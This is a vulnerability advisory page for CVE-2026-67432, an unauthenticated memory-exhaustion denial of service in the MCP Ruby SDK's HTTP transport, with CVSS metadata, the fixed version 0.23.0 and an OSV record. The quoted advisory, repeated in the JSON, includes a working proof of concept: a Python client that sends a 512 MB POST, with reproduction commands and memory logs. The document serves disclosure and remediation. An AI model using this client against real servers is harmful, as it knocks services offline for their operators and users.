CVE-2026-67432: MCP Ruby SDK Unbounded JSON-RPC Request Body Causes Vulnerability

HIGH
Advisory Identifier: GHSA-h669-8m4g-r2hc
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-67432 is a HIGH (CVSS 7.5) unbounded json-rpc request body causes vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting MCP Ruby SDK libraries in the RubyGems ecosystem. The issue involves unbounded json-rpc request body causes uncontrolled memory allocation in streamablehttptransport. Remediation is available by upgrading affected packages to version 0.23.0.

CVE-2026-67432 at a Glance

CVE Identifier CVE-2026-67432
GHSA Identifier GHSA-h669-8m4g-r2hc
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product MCP Ruby SDK
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-67432

To remediate this vulnerability, upgrade all affected MCP Ruby SDK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp fixed: 0.23.0
Upgrade mcp to 0.23.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mcp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-67432, inspect your project dependencies for MCP Ruby SDK:

inspect dependencies for mcp

Analyze the terminal output to locate any version of MCP Ruby SDK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In MCP Ruby SDK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process. ## Affected component `lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`: - Line 341: `body_string = request.body.read` — reads the full HTTP body into memory with no upper bound. - Lines 531–535: `JSON.parse(body_string, symbolize_names: true)` — fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol. The vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication. A second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports. ## Proof of concept Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (`rack ~> 3.2`, `rackup >= 2.1.0`, `webrick ~> 1.9`) and Python's standard library. ### Server (`oom_poc_server.rb`) ```ruby require "bundler/setup" require "mcp" require "mcp/server/transports/streamable_http_transport" require "rackup" require "webrick" require "rackup/handler/webrick" server = MCP::Server.new(name: "oom-poc-target", tools: []) transport = MCP::Server::Transports::StreamableHTTPTransport.new( server, stateless: true, enable_json_response: true, ) Thread.new do loop do rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024 STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB") sleep 2 end end STDERR.puts("[poc] listening on http://127.0.0.1:9293/") Rackup::Handler::WEBrick.run( transport, Host: "127.0.0.1", Port: 9293, AccessLog: [], Logger: WEBrick::Log.new(File::NULL), ) ``` ### Client (`oom_poc_client.py`) ```python import socket HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512 inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64) body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}' headers = ( f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n" f"Content-Type: application/json\r\n" f"Accept: application/json, text/event-stream\r\n" f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n" ).encode() s = socket.create_connection((HOST, PORT), timeout=120) s.sendall(headers) for i in range(0, len(body), 1 << 20): s.sendall(body[i:i + (1 << 20)]) print(f"sent {PAYLOAD_MB} MB") try: print("recv:", s.recv(2048)[:200]) except OSError as e: print("server unresponsive:", e) ``` ### Reproduction commands ```sh bundle install ruby oom_poc_server.rb # terminal A python3 oom_poc_client.py # terminal B ``` ### Observed result Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`: ``` [mem] PID=61394 RSS=44 MB # idle baseline [mem] PID=61394 RSS=44 MB [mem] PID=61394 RSS=44 MB [mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST [mem] PID=61394 RSS=1663 MB # memory not released [mem] PID=61394 RSS=1663 MB ``` A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker. <img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" /> <img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" /> ## Impact - **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction. - **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours. - **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app — the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected. ## Suggested mitigation 1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`. 2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`. 3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.

CVE-2026-67432 Affected MCP Ruby SDK Versions

1 component(s)
Fixed Versions:
0.23.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp
RubyGems
< 0.23.0
0.23.0

References

Frequently Asked Questions

What is CVE-2026-67432?
CVE-2026-67432 is a security vulnerability in MCP Ruby SDK involving Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport under CWE-770: Allocation of Resources Without Limits or Throttling.
Which MCP Ruby SDK versions are affected?
Affected versions include releases prior to 0.23.0 across affected packages: mcp.
What version fixes CVE-2026-67432?
Upgrading to 0.23.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp affected?
Yes, mcp is affected in releases prior to 0.23.0. Upgrade your dependency to 0.23.0 or later.
What is the CVSS score of CVE-2026-67432?
CVE-2026-67432 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-67432?
CVE-2026-67432 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check RubyGems dependencies for CVE-2026-67432?
Run the dependency tree command: 'inspect dependencies for mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h669-8m4g-r2hc",
  "modified" : "2026-07-30T14:44:06Z",
  "published" : "2026-07-30T14:44:06Z",
  "aliases" : [ "CVE-2026-67432" ],
  "summary" : "MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport",
  "details" : "## Summary\n\nAn unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`:\n\n- Line 341: `body_string = request.body.read` — reads the full HTTP body into memory with no upper bound.\n- Lines 531–535: `JSON.parse(body_string, symbolize_names: true)` — fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol.\n\nThe vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication.\n\nA second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.\n\n## Proof of concept\n\nBoth files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (`rack ~> 3.2`, `rackup >= 2.1.0`, `webrick ~> 1.9`) and Python's standard library.\n\n### Server (`oom_poc_server.rb`)\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"oom-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(\n  server, stateless: true, enable_json_response: true,\n)\n\nThread.new do\n  loop do\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] PID=#{Process.pid} RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9293/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9293,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`oom_poc_client.py`)\n\n```python\nimport socket\n\nHOST, PORT, PAYLOAD_MB = \"127.0.0.1\", 9293, 512\n\ninner = b\"A\" * (PAYLOAD_MB * 1024 * 1024 - 64)\nbody  = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"x\":\"' + inner + b'\"}}'\n\nheaders = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode()\n\ns = socket.create_connection((HOST, PORT), timeout=120)\ns.sendall(headers)\nfor i in range(0, len(body), 1 << 20):\n    s.sendall(body[i:i + (1 << 20)])\nprint(f\"sent {PAYLOAD_MB} MB\")\ntry:\n    print(\"recv:\", s.recv(2048)[:200])\nexcept OSError as e:\n    print(\"server unresponsive:\", e)\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby oom_poc_server.rb              # terminal A\npython3 oom_poc_client.py           # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4 (rbenv), against the SDK's `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`:\n\n```\n[mem] PID=61394 RSS=44   MB        # idle baseline\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST\n[mem] PID=61394 RSS=1663 MB        # memory not released\n[mem] PID=61394 RSS=1663 MB\n```\n\nA single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.\n\n<img width=\"1588\" height=\"836\" alt=\"poc1-1\" src=\"https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f\" />\n\n<img width=\"1400\" height=\"948\" alt=\"poc1-2\" src=\"https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6\" />\n\n\n\n## Impact\n\n- **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.\n- **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.\n- **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app — the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected.\n\n## Suggested mitigation\n\n1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`.\n2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`.\n3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/modelcontextprotocol/ruby-sdk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-30T14:44:06Z",
    "nvd_published_at" : "2026-07-29T20:17:12Z"
  }
}